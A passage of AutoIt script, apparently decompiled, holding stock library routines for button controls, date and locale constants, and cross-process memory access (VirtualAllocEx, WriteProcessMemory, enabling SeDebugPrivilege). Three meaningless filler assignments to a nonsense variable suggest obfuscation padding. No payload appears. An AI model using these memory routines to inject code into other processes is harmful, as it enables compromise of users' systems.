$idestroyed = GUICtrlDelete($hwnd) EndIf If $idestroyed Then $hwnd = 0 Return $idestroyed <> 0 EndFunc Func _guictrlbutton_enable($hwnd, $benable = True) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) If _winapi_isclassname($hwnd, $__buttonconstant_classname) Then Return _winapi_enablewindow($hwnd, $benable) = $benable EndFunc Func _guictrlbutton_getcheck($hwnd) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Return _sendmessage($hwnd, $bm_getcheck) EndFunc Func _guictrlbutton_getfocus($hwnd) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) If _winapi_isclassname($hwnd, $__buttonconstant_classname) Then Return _winapi_getfocus() = $hwnd EndFunc Func _guictrlbutton_getidealsize($hwnd) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Local $tsize = DllStructCreate($tagsize), $asize[2] Local $iret = _sendmessage($hwnd, $bcm_getidealsize, 0, $tsize, 0, "wparam", "struct*") If NOT $iret Then Return SetError(-1, -1, $asize) $asize[0] = DllStructGetData($tsize, "X") $asize[1] = DllStructGetData($tsize, "Y") Return $asize EndFunc Func _guictrlbutton_getimage($hwnd) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Local $iret = _sendmessage($hwnd, $bm_getimage, 0, 0, 0, "wparam", "lparam", "hwnd") If $iret <> 0 Then Return $iret $iret = _sendmessage($hwnd, $bm_getimage, 1, 0, 0, "wparam", "lparam", "hwnd") If $iret = 0 Then Return 0 Return $iret EndFunc Func _guictrlbutton_getimagelist($hwnd) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Local $tbutton_imagelist = DllStructCreate($tagbutton_imagelist), $aimagelist[6] If NOT _sendmessage($hwnd, $bcm_getimagelist, 0, $tbutton_imagelist, 0, "wparam", "struct*") Then Return SetError(-1, -1, $aimagelist) $aimagelist[0] = DllStructGetData($tbutton_imagelist, "ImageList") $aimagelist[1] = DllStructGetData($tbutton_imagelist, "Left") $aimagelist[2] = DllStructGetData($tbutton_imagelist, "Right") $aimagelist[3] = DllStructGetData($tbutton_imagelist, "Top") $aimagelist[4] = DllStructGetData($tbutton_imagelist, "Bottom") $aimagelist[5] = DllStructGetData($tbutton_imagelist, "Align") Return $aimagelist EndFunc Func _guictrlbutton_getnote($hwnd) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Local $ilen = _guictrlbutton_getnotelength($hwnd) + 1 Local $tnote = DllStructCreate("wchar Note[" & $ilen & "]") Local $tlen = DllStructCreate("dword") DllStructSetData($tlen, 1, $ilen) If NOT _sendmessage($hwnd, $bcm_getnote, $tlen, $tnote, 0, "struct*", "struct*") Then Return SetError(-1, 0, "") Return _winapi_widechartomultibyte($tnote) EndFunc Func _guictrlbutton_getnotelength($hwnd) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Return _sendmessage($hwnd, $bcm_getnotelength) EndFunc Func _guictrlbutton_getsplitinfo($hwnd) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Local $tsplitinfo = DllStructCreate($tagbutton_splitinfo), $ainfo[4] DllStructSetData($tsplitinfo, "mask", BitOR($bcsif_glyph, $bcsif_image, $bcsif_size, $bcsif_style)) If NOT _sendmessage($hwnd, $bcm_getsplitinfo, 0, $tsplitinfo, 0, "wparam", "struct*") Then Return SetError(-1, 0, $ainfo) $ainfo[0] = DllStructGetData($tsplitinfo, "himlGlyph") $ainfo[1] = DllStructGetData($tsplitinfo, "uSplitStyle") $ainfo[2] = DllStructGetData($tsplitinfo, "X") $ainfo[3] = DllStructGetData($tsplitinfo, "Y") Return $ainfo EndFunc Func _guictrlbutton_getstate($hwnd) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Return _sendmessage($hwnd, $bm_getstate) EndFunc Func _guictrlbutton_gettext($hwnd) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) If _winapi_isclassname($hwnd, $__buttonconstant_classname) Then Return _winapi_getwindowtext($hwnd) Return "" EndFunc Func _guictrlbutton_gettextmargin($hwnd) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Local $trect = DllStructCreate($tagrect), $arect[4] If NOT _sendmessage($hwnd, $bcm_gettextmargin, 0, $trect, 0, "wparam", "struct*") Then Return SetError(-1, -1, $arect) $arect[0] = DllStructGetData($trect, "Left") $arect[1] = DllStructGetData($trect, "Top") $arect[2] = DllStructGetData($trect, "Right") $arect[3] = DllStructGetData($trect, "Bottom") Return $arect EndFunc Func _guictrlbutton_setcheck($hwnd, $istate = $bst_checked) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) _sendmessage($hwnd, $bm_setcheck, $istate) EndFunc Func _guictrlbutton_setdontclick($hwnd, $bstate = True) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) _sendmessage($hwnd, $bm_setdontclick, $bstate) EndFunc Func _guictrlbutton_setdropdownstate($hwnd, $bstate = True) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Return _sendmessage($hwnd, $bcm_setdropdownstate, $bstate) <> 0 EndFunc Func _guictrlbutton_setfocus($hwnd, $bfocus = True) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) If _winapi_isclassname($hwnd, $__buttonconstant_classname) Then If $bfocus Then Return _winapi_setfocus($hwnd) <> 0 Else Return _winapi_setfocus(_winapi_getparent($hwnd)) <> 0 EndIf EndIf EndFunc Func _guictrlbutton_setimage($hwnd, $simagefile, $iiconid = -1, $blarge = False) Local $himage, $hprevimage If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) If StringUpper(StringMid($simagefile, StringLen($simagefile) - 2)) = "BMP" Then If BitAND(_winapi_getwindowlong($hwnd, $__buttonconstant_gwl_style), $bs_bitmap) = $bs_bitmap Then $himage = _winapi_loadimage(0, $simagefile, 0, 0, 0, BitOR($lr_loadfromfile, $lr_createdibsection)) If NOT $himage Then Return SetError(-1, -1, False) $hprevimage = _sendmessage($hwnd, $bm_setimage, 0, $himage) If $hprevimage Then If NOT _winapi_deleteobject($hprevimage) Then _winapi_destroyicon($hprevimage) EndIf _winapi_updatewindow($hwnd) Return True EndIf Else If $iiconid = -1 Then $himage = _winapi_loadimage(0, $simagefile, 1, 0, 0, BitOR($lr_loadfromfile, $lr_createdibsection)) If NOT $himage Then Return SetError(-1, -1, False) $hprevimage = _sendmessage($hwnd, $bm_setimage, 1, $himage) If $hprevimage Then If NOT _winapi_deleteobject($hprevimage) Then _winapi_destroyicon($hprevimage) EndIf _winapi_updatewindow($hwnd) Return True Else Local $ticon = DllStructCreate("handle Handle") Local $iret If $blarge Then $iret = _winapi_extracticonex($simagefile, $iiconid, $ticon, 0, 1) Else $iret = _winapi_extracticonex($simagefile, $iiconid, 0, $ticon, 1) EndIf If NOT $iret Then Return SetError(-1, -1, False) $hprevimage = _sendmessage($hwnd, $bm_setimage, 1, DllStructGetData($ticon, "Handle")) If $hprevimage Then If NOT _winapi_deleteobject($hprevimage) Then _winapi_destroyicon($hprevimage) EndIf _winapi_updatewindow($hwnd) Return True EndIf EndIf Return False EndFunc Func _guictrlbutton_setimagelist($hwnd, $himage, $ialign = 0, $ileft = 1, $itop = 1, $iright = 1, $ibottom = 1) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) If $ialign < 0 OR $ialign > 4 Then $ialign = 0 Local $tbutton_imagelist = DllStructCreate($tagbutton_imagelist) DllStructSetData($tbutton_imagelist, "ImageList", $himage) DllStructSetData($tbutton_imagelist, "Left", $ileft) DllStructSetData($tbutton_imagelist, "Top", $itop) DllStructSetData($tbutton_imagelist, "Right", $iright) DllStructSetData($tbutton_imagelist, "Bottom", $ibottom) DllStructSetData($tbutton_imagelist, "Align", $ialign) Local $benabled = _guictrlbutton_enable($hwnd, False) Local $iret = _sendmessage($hwnd, $bcm_setimagelist, 0, $tbutton_imagelist, 0, "wparam", "struct*") <> 0 _guictrlbutton_enable($hwnd) If NOT $benabled Then _guictrlbutton_enable($hwnd, False) Return $iret EndFunc Func _guictrlbutton_setnote($hwnd, $snote) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Local $tnote = _winapi_multibytetowidechar($snote) Return _sendmessage($hwnd, $bcm_setnote, 0, $tnote, 0, "wparam", "struct*") <> 0 EndFunc Func _guictrlbutton_setshield($hwnd, $brequired = True) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Return _sendmessage($hwnd, $bcm_setshield, 0, $brequired) = 1 EndFunc Func _guictrlbutton_setsize($hwnd, $iwidth, $iheight) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) If NOT _winapi_isclassname($hwnd, $__buttonconstant_classname) Then Return SetError(-1, -1, False) Local $hparent = _winapi_getparent($hwnd) If NOT $hparent Then Return SetError(-1, -1, False) Local $apos = WinGetPos($hwnd) If NOT IsArray($apos) Then Return SetError(-1, -1, False) Local $tpoint = DllStructCreate($tagpoint) DllStructSetData($tpoint, "X", $apos[0]) DllStructSetData($tpoint, "Y", $apos[1]) If NOT _winapi_screentoclient($hparent, $tpoint) Then Return SetError(-1, -1, False) Local $iret = WinMove($hwnd, "", DllStructGetData($tpoint, "X"), DllStructGetData($tpoint, "Y"), $iwidth, $iheight) Return SetError($iret - 1, $iret - 1, $iret <> 0) EndFunc Func _guictrlbutton_setsplitinfo($hwnd, $himlglyph = -1, $isplitstyle = $bcss_alignleft, $iwidth = 0, $iheight = 0) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Local $tsplitinfo = DllStructCreate($tagbutton_splitinfo), $imask = 0 If $himlglyph <> -1 Then $imask = BitOR($imask, $bcsif_glyph) DllStructSetData($tsplitinfo, "himlGlyph", $himlglyph) EndIf $imask = BitOR($imask, $bcsif_style) If BitAND($isplitstyle, $bcss_image) = $bcss_image Then $imask = BitOR($imask, $bcsif_image) DllStructSetData($tsplitinfo, "uSplitStyle", $isplitstyle) If $iwidth > 0 OR $iheight > 0 Then $imask = BitOR($imask, $bcsif_size) DllStructSetData($tsplitinfo, "X", $iwidth) DllStructSetData($tsplitinfo, "Y", $iheight) EndIf DllStructSetData($tsplitinfo, "mask", $imask) Return _sendmessage($hwnd, $bcm_setsplitinfo, 0, $tsplitinfo, 0, "wparam", "struct*") <> 0 EndFunc Func _guictrlbutton_setstate($hwnd, $bhighlighted = True) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) _sendmessage($hwnd, $bm_setstate, $bhighlighted) EndFunc Func _guictrlbutton_setstyle($hwnd, $istyle) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) _sendmessage($hwnd, $bm_setstyle, $istyle, True) _winapi_updatewindow($hwnd) EndFunc Func _guictrlbutton_settext($hwnd, $stext) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) If _winapi_isclassname($hwnd, $__buttonconstant_classname) Then Return _winapi_setwindowtext($hwnd, $stext) EndFunc Func _guictrlbutton_settextmargin($hwnd, $ileft = 1, $itop = 1, $iright = 1, $ibottom = 1) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Local $trect = DllStructCreate($tagrect) DllStructSetData($trect, "Left", $ileft) DllStructSetData($trect, "Top", $itop) DllStructSetData($trect, "Right", $iright) DllStructSetData($trect, "Bottom", $ibottom) Return _sendmessage($hwnd, $bcm_settextmargin, 0, $trect, 0, "wparam", "struct*") <> 0 EndFunc Func _guictrlbutton_show($hwnd, $bshow = True) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) If _winapi_isclassname($hwnd, $__buttonconstant_classname) Then If $bshow Then Return _winapi_showwindow($hwnd, @SW_SHOW) Else Return _winapi_showwindow($hwnd, @SW_HIDE) EndIf EndIf EndFunc $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 Global Const $dts_shortdateformat = 0 Global Const $dts_updown = 1 Global Const $dts_shownone = 2 Global Const $dts_longdateformat = 4 Global Const $dts_timeformat = 9 Global Const $dts_rightalign = 32 Global Const $dts_shortdatecenturyformat = 12 Global Const $dts_appcanparse = 16 Global Const $dmw_longname = 0 Global Const $dmw_shortname = 1 Global Const $dmw_locale_longname = 2 Global Const $dmw_locale_shortname = 3 Global Const $gdt_error = -1 Global Const $gdt_valid = 0 Global Const $gdt_none = 1 Global Const $gdtr_min = 1 Global Const $gdtr_max = 2 Global Const $mcht_nowhere = 0 Global Const $mcht_title = 65536 Global Const $mcht_calendar = 131072 Global Const $mcht_todaylink = 196608 Global Const $mcht_next = 16777216 Global Const $mcht_prev = 33554432 Global Const $mcht_titlebk = 65536 Global Const $mcht_titlemonth = 65537 Global Const $mcht_titleyear = 65538 Global Const $mcht_titlebtnnext = 16842755 Global Const $mcht_titlebtnprev = 33619971 Global Const $mcht_calendarbk = 131072 Global Const $mcht_calendardate = 131073 Global Const $mcht_calendarday = 131074 Global Const $mcht_calendarweeknum = 131075 Global Const $mcht_calendardatenext = 16908288 Global Const $mcht_calendardateprev = 33685504 Global Const $mcs_daystate = 1 Global Const $mcs_multiselect = 2 Global Const $mcs_weeknumbers = 4 Global Const $mcs_notodaycircle = 8 Global Const $mcs_notoday = 16 Global Const $mcs_notrailingdates = 64 Global Const $mcs_shortdaysofweek = 128 Global Const $mcs_noselchangeonnav = 256 Global Const $mcm_first = 4096 Global Const $mcm_getcalendarborder = ($mcm_first + 31) Global Const $mcm_getcalendarcount = ($mcm_first + 23) Global Const $mcm_getcalendargridinfo = ($mcm_first + 24) Global Const $mcm_getcalid = ($mcm_first + 27) Global Const $mcm_getcolor = ($mcm_first + 11) Global Const $mcm_getcurrentview = ($mcm_first + 22) Global Const $mcm_getcursel = ($mcm_first + 1) Global Const $mcm_getfirstdayofweek = ($mcm_first + 16) Global Const $mcm_getmaxselcount = ($mcm_first + 3) Global Const $mcm_getmaxtodaywidth = ($mcm_first + 21) Global Const $mcm_getminreqrect = ($mcm_first + 9) Global Const $mcm_getmonthdelta = ($mcm_first + 19) Global Const $mcm_getmonthrange = ($mcm_first + 7) Global Const $mcm_getrange = ($mcm_first + 17) Global Const $mcm_getselrange = ($mcm_first + 5) Global Const $mcm_gettoday = ($mcm_first + 13) Global Const $mcm_getunicodeformat = 8192 + 6 Global Const $mcm_hittest = ($mcm_first + 14) Global Const $mcm_setcalendarborder = ($mcm_first + 30) Global Const $mcm_setcalid = ($mcm_first + 28) Global Const $mcm_setcolor = ($mcm_first + 10) Global Const $mcm_setcurrentview = ($mcm_first + 32) Global Const $mcm_setcursel = ($mcm_first + 2) Global Const $mcm_setdaystate = ($mcm_first + 8) Global Const $mcm_setfirstdayofweek = ($mcm_first + 15) Global Const $mcm_setmaxselcount = ($mcm_first + 4) Global Const $mcm_setmonthdelta = ($mcm_first + 20) Global Const $mcm_setrange = ($mcm_first + 18) Global Const $mcm_setselrange = ($mcm_first + 6) Global Const $mcm_settoday = ($mcm_first + 12) Global Const $mcm_setunicodeformat = 8192 + 5 Global Const $mcm_sizerecttomin = ($mcm_first + 29) Global Const $mcn_first = -746 Global Const $mcn_selchange = ($mcn_first - 3) Global Const $mcn_getdaystate = ($mcn_first - 1) Global Const $mcn_select = ($mcn_first) Global Const $mcn_viewchange = ($mcn_first - 4) Global Const $mcsc_background = 0 Global Const $mcsc_monthbk = 4 Global Const $mcsc_text = 1 Global Const $mcsc_titlebk = 2 Global Const $mcsc_titletext = 3 Global Const $mcsc_trailingtext = 5 Global Const $dtm_first = 4096 Global Const $dtm_getsystemtime = $dtm_first + 1 Global Const $dtm_setsystemtime = $dtm_first + 2 Global Const $dtm_getrange = $dtm_first + 3 Global Const $dtm_setrange = $dtm_first + 4 Global Const $dtm_setformat = $dtm_first + 5 Global Const $dtm_setmccolor = $dtm_first + 6 Global Const $dtm_getmccolor = $dtm_first + 7 Global Const $dtm_getmonthcal = $dtm_first + 8 Global Const $dtm_setmcfont = $dtm_first + 9 Global Const $dtm_getmcfont = $dtm_first + 10 Global Const $dtm_setformatw = $dtm_first + 50 Global Const $dtn_first = -740 Global Const $dtn_first2 = -753 Global Const $dtn_datetimechange = $dtn_first2 - 6 Global Const $dtn_userstring = $dtn_first2 - 5 Global Const $dtn_wmkeydown = $dtn_first2 - 4 Global Const $dtn_format = $dtn_first2 - 3 Global Const $dtn_formatquery = $dtn_first2 - 2 Global Const $dtn_dropdown = $dtn_first2 - 1 Global Const $dtn_closeup = $dtn_first2 + 0 Global Const $dtn_userstringw = $dtn_first - 5 Global Const $dtn_wmkeydownw = $dtn_first - 4 Global Const $dtn_formatw = $dtn_first - 3 Global Const $dtn_formatqueryw = $dtn_first - 2 Global Const $gui_ss_default_date = $dts_longdateformat Global Const $gui_ss_default_monthcal = 0 Global Const $process_terminate = 1 Global Const $process_create_thread = 2 Global Const $process_set_sessionid = 4 Global Const $process_vm_operation = 8 Global Const $process_vm_read = 16 Global Const $process_vm_write = 32 Global Const $process_dup_handle = 64 Global Const $process_create_process = 128 Global Const $process_set_quota = 256 Global Const $process_set_information = 512 Global Const $process_query_information = 1024 Global Const $process_query_limited_information = 4096 Global Const $process_suspend_resume = 2048 Global Const $process_all_access = 2035711 Global Const $tagmemmap = "handle hProc;ulong_ptr Size;ptr Mem" Func _memfree(ByRef $tmemmap) Local $pmemory = DllStructGetData($tmemmap, "Mem") Local $hprocess = DllStructGetData($tmemmap, "hProc") Local $bresult = _memvirtualfreeex($hprocess, $pmemory, 0, $mem_release) DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hprocess) If @error Then Return SetError(@error, @extended, False) Return $bresult EndFunc Func _memglobalalloc($ibytes, $iflags = 0) Local $aresult = DllCall("kernel32.dll", "handle", "GlobalAlloc", "uint", $iflags, "ulong_ptr", $ibytes) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _memglobalfree($hmemory) Local $aresult = DllCall("kernel32.dll", "ptr", "GlobalFree", "handle", $hmemory) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _memgloballock($hmemory) Local $aresult = DllCall("kernel32.dll", "ptr", "GlobalLock", "handle", $hmemory) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _memglobalsize($hmemory) Local $aresult = DllCall("kernel32.dll", "ulong_ptr", "GlobalSize", "handle", $hmemory) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _memglobalunlock($hmemory) Local $aresult = DllCall("kernel32.dll", "bool", "GlobalUnlock", "handle", $hmemory) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _meminit($hwnd, $isize, ByRef $tmemmap) Local $aresult = DllCall("user32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0) If @error Then Return SetError(@error + 10, @extended, 0) Local $iprocessid = $aresult[2] If $iprocessid = 0 Then Return SetError(1, 0, 0) Local $iaccess = BitOR($process_vm_operation, $process_vm_read, $process_vm_write) Local $hprocess = __mem_openprocess($iaccess, False, $iprocessid, True) Local $ialloc = BitOR($mem_reserve, $mem_commit) Local $pmemory = _memvirtualallocex($hprocess, 0, $isize, $ialloc, $page_readwrite) If $pmemory = 0 Then Return SetError(2, 0, 0) $tmemmap = DllStructCreate($tagmemmap) DllStructSetData($tmemmap, "hProc", $hprocess) DllStructSetData($tmemmap, "Size", $isize) DllStructSetData($tmemmap, "Mem", $pmemory) Return $pmemory EndFunc Func _memmovememory($psource, $pdest, $ilength) DllCall("kernel32.dll", "none", "RtlMoveMemory", "struct*", $pdest, "struct*", $psource, "ulong_ptr", $ilength) If @error Then Return SetError(@error, @extended) EndFunc Func _memread(ByRef $tmemmap, $psrce, $pdest, $isize) Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", DllStructGetData($tmemmap, "hProc"), "ptr", $psrce, "struct*", $pdest, "ulong_ptr", $isize, "ulong_ptr*", 0) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _memwrite(ByRef $tmemmap, $psrce, $pdest = 0, $isize = 0, $ssrce = "struct*") If $pdest = 0 Then $pdest = DllStructGetData($tmemmap, "Mem") If $isize = 0 Then $isize = DllStructGetData($tmemmap, "Size") Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", DllStructGetData($tmemmap, "hProc"), "ptr", $pdest, $ssrce, $psrce, "ulong_ptr", $isize, "ulong_ptr*", 0) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _memvirtualalloc($paddress, $isize, $iallocation, $iprotect) Local $aresult = DllCall("kernel32.dll", "ptr", "VirtualAlloc", "ptr", $paddress, "ulong_ptr", $isize, "dword", $iallocation, "dword", $iprotect) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _memvirtualallocex($hprocess, $paddress, $isize, $iallocation, $iprotect) Local $aresult = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "handle", $hprocess, "ptr", $paddress, "ulong_ptr", $isize, "dword", $iallocation, "dword", $iprotect) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _memvirtualfree($paddress, $isize, $ifreetype) Local $aresult = DllCall("kernel32.dll", "bool", "VirtualFree", "ptr", $paddress, "ulong_ptr", $isize, "dword", $ifreetype) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _memvirtualfreeex($hprocess, $paddress, $isize, $ifreetype) Local $aresult = DllCall("kernel32.dll", "bool", "VirtualFreeEx", "handle", $hprocess, "ptr", $paddress, "ulong_ptr", $isize, "dword", $ifreetype) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func __mem_openprocess($iaccess, $binherit, $iprocessid, $bdebugpriv = False) Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $binherit, "dword", $iprocessid) If @error Then Return SetError(@error + 10, @extended, 0) If $aresult[0] Then Return $aresult[0] If NOT $bdebugpriv Then Return 0 Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query)) If @error Then Return SetError(@error + 20, @extended, 0) _security__setprivilege($htoken, "SeDebugPrivilege", True) Local $ierror = @error Local $ilasterror = @extended Local $iret = 0 If NOT @error Then $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $binherit, "dword", $iprocessid) $ierror = @error $ilasterror = @extended If $aresult[0] Then $iret = $aresult[0] _security__setprivilege($htoken, "SeDebugPrivilege", False) If @error Then $ierror = @error + 30 $ilasterror = @extended EndIf Else $ierror = @error + 40 EndIf DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $htoken) Return SetError($ierror, $ilasterror, $iret) EndFunc Global Const $linguistic_ignorecase = 16 Global Const $linguistic_ignorediacritic = 32 Global Const $norm_ignorecase = 1 Global Const $norm_ignorekanatype = 65536 Global Const $norm_ignorenonspace = 2 Global Const $norm_ignoresymbols = 4 Global Const $norm_ignorewidth = 131072 Global Const $norm_linguistic_casing = 134217728 Global Const $sort_digitsasnumbers = 8 Global Const $sort_stringsort = 4096 Global Const $cstr_less_than = 1 Global Const $cstr_equal = 2 Global Const $cstr_greater_than = 3 Global Const $mui_language_id = 4 Global Const $mui_language_name = 8 Global Const $date_autolayout = 64 Global Const $date_longdate = 2 Global Const $date_ltrreading = 16 Global Const $date_shortdate = 1 Global Const $date_rtlreading = 32 Global Const $date_use_alt_calendar = 4 Global Const $date_yearmonth = 8 Global Const $geo_nation = 1 Global Const $geo_latitude = 2 Global Const $geo_longitude = 3 Global Const $geo_iso2 = 4 Global Const $geo_iso3 = 5 Global Const $geo_rfc1766 = 6 Global Const $geo_lcid = 7 Global Const $geo_friendlyname = 8 Global Const $geo_officialname = 9 Global Const $geo_timezones = 10 Global Const $geo_officiallanguages = 11 Global Const $geo_iso_un_number = 12 Global Const $geo_parent = 13 Global Const $locale_ilanguage = 1 Global Const $locale_slanguage = 2 Global Const $locale_senglanguage = 4097 Global Const $locale_sabbrevlangname = 3 Global Const $locale_snativelangname = 4 Global Const $locale_icountry = 5 Global Const $locale_scountry = 6 Global Const $locale_sengcountry = 4098 Global Const $locale_sabbrevctryname = 7 Global Const $locale_snativectryname = 8 Global Const $locale_idefaultlanguage = 9 Global Const $locale_idefaultcountry = 10 Global Const $locale_idefaultcodepage = 11 Global Const $locale_idefaultansicodepage = 4100 Global Const $locale_idefaultmaccodepage = 4113 Global Const $locale_slist = 12 Global Const $locale_imeasure = 13 Global Const $locale_sdecimal = 14 Global Const $locale_sthousand = 15 Global Const $locale_sgrouping = 16 Global Const $locale_idigits = 17 Global Const $locale_ilzero = 18 Global Const $locale_inegnumber = 4112 Global Const $locale_snativedigits = 19 Global Const $locale_scurrency = 20 Global Const $locale_sintlsymbol = 21 Global Const $locale_smondecimalsep = 22 Global Const $locale_smonthousandsep = 23 Global Const $locale_smongrouping = 24 Global Const $locale_icurrdigits = 25 Global Const $locale_iintlcurrdigits = 26 Global Const $locale_icurrency = 27 Global Const $locale_inegcurr = 28 Global Const $locale_sdate = 29 Global Const $locale_stime = 30 Global Const $locale_sshortdate = 31 Global Const $locale_slongdate = 32 Global Const $locale_stimeformat = 4099 Global Const $locale_idate = 33 Global Const $locale_ildate = 34 Global Const $locale_itime = 35 Global Const $locale_itimemarkposn = 4101 Global Const $locale_icentury = 36 Global Const $locale_itlzero = 37 Global Const $locale_idaylzero = 38 Global Const $locale_imonlzero = 39 Global Const $locale_s1159 = 40 Global Const $locale_s2359 = 41 Global Const $locale_icalendartype = 4105 Global Const $locale_ioptionalcalendar = 4107 Global Const $locale_ifirstdayofweek = 4108 Global Const $locale_ifirstweekofyear = 4109 Global Const $locale_sdayname1 = 42 Global Const $locale_sdayname2 = 43 Global Const $locale_sdayname3 = 44 Global Const $locale_sdayname4 = 45 Global Const $locale_sdayname5 = 46 Global Const $locale_sdayname6 = 47 Global Const $locale_sdayname7 = 48 Global Const $locale_sabbrevdayname1 = 49 Global Const $locale_sabbrevdayname2 = 50 Global Const $locale_sabbrevdayname3 = 51 Global Const $locale_sabbrevdayname4 = 52 Global Const $locale_sabbrevdayname5 = 53 Global Const $locale_sabbrevdayname6 = 54 Global Const $locale_sabbrevdayname7 = 55 Global Const $locale_smonthname1 = 56 Global Const $locale_smonthname2 = 57 Global Const $locale_smonthname3 = 58 Global Const $locale_smonthname4 = 59 Global Const $locale_smonthname5 = 60 Global Const $locale_smonthname6 = 61 Global Const $locale_smonthname7 = 62 Global Const $locale_smonthname8 = 63 Global Const $locale_smonthname9 = 64 Global Const $locale_smonthname10 = 65 Global Const $locale_smonthname11 = 66 Global Const $locale_smonthname12 = 67 Global Const $locale_smonthname13 = 4110 Global Const $locale_sabbrevmonthname1 = 68 Global Const $locale_sabbrevmonthname2 = 69 Global Const $locale_sabbrevmonthname3 = 70 Global Const $locale_sabbrevmonthname4 = 71 Global Const $locale_sabbrevmonthname5 = 72 Global Const $locale_sabbrevmonthname6 = 73 Global Const $locale_sabbrevmonthname7 = 74 Global Const $locale_sabbrevmonthname8 = 75 Global Const $locale_sabbrevmonthname9 = 76 Global Const $locale_sabbrevmonthname10 = 77 Global Const $locale_sabbrevmonthname11 = 78 Global Const $locale_sabbrevmonthname12 = 79 Global Const $locale_sabbrevmonthname13 = 4111 Global Const $locale_spositivesign = 80 Global Const $locale_snegativesign = 81 Global Const $locale_ipossignposn = 82 Global Const $locale_inegsignposn = 83 Global Const $locale_ipossymprecedes = 84 Global Const $locale_ipossepbyspace = 85 Global Const $locale_inegsymprecedes = 86 Global Const $locale_inegsepbyspace = 87 Global Const $locale_fontsignature = 88 Global Const $locale_siso639langname = 89 Global Const $locale_siso3166ctryname = 90 Global Const $locale_idefaultebcdiccodepage = 4114 Global Const $locale_ipapersize = 4106 Global Const $locale_sengcurrname = 4103 Global Const $locale_snativecurrname = 4104 Global Const $locale_syearmonth = 4102 Global Const $locale_ssortname = 4115 Global Const $locale_idigitsubstitution = 4116 Global Const $locale_custom_default = 3072 Global Const $locale_custom_ui_default = 5120 Global Const $locale_custom_unspecified = 4096 Global Const $locale_invariant = 127 Global Const $locale_system_default = 2048 Global Const $locale_user_default = 1024 Global Const $time_force24hourformat = 8 Global Const $time_nominutesorseconds = 1 Global Const $time_noseconds = 2 Global Const $time_notimemarker = 4 Global Const $lcid_installed = 1 Global Const $lcid_supported = 2 #Region Global Variables and Constants Global Const $tagnumberfmt = "uint NumDigits;uint LeadingZero;uint Grouping;ptr DecimalSep;ptr ThousandSep;uint NegativeOrder" #EndRegion Global Variables and Constants #Region Functions list #EndRegion Functions list #Region Public Functions Func _winapi_comparestring($ilcid, $sstring1, $sstring2, $iflags = 0) Local $aret = DllCall("kernel32.dll", "int", "CompareStringW", "dword", $ilcid, "dword", $iflags, "wstr", $sstring1, "int", -1, "wstr", $sstring2, "int", -1) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_createnumberformatinfo($inumdigits, $ileadingzero, $igrouping, $sdecimalsep, $sthousandsep, $inegativeorder) Local $tfmt = DllStructCreate($tagnumberfmt & ";wchar[" & (StringLen($sdecimalsep) + 1) & "];wchar[" & (StringLen($sthousandsep) + 1) & "]") DllStructSetData($tfmt, 1, $inumdigits) DllStructSetData($tfmt, 2, $ileadingzero) 